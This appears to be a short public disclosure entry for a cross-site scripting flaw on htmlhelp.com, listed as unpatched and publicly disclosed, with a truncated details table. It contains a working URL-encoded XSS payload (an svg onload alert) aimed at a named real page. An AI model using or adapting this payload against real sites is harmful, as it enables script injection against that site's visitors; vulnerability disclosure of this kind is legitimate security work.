htmlhelp.com XSS vulnerability

Vulnerable URL: http://htmlhelp.com/tools/valet/linktest.cgi?url=+%22%3E%3Csvg%2Fonload%3Dalert%28%2FXSSPOSED%2F%29%3E=2000-01-01=Full Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...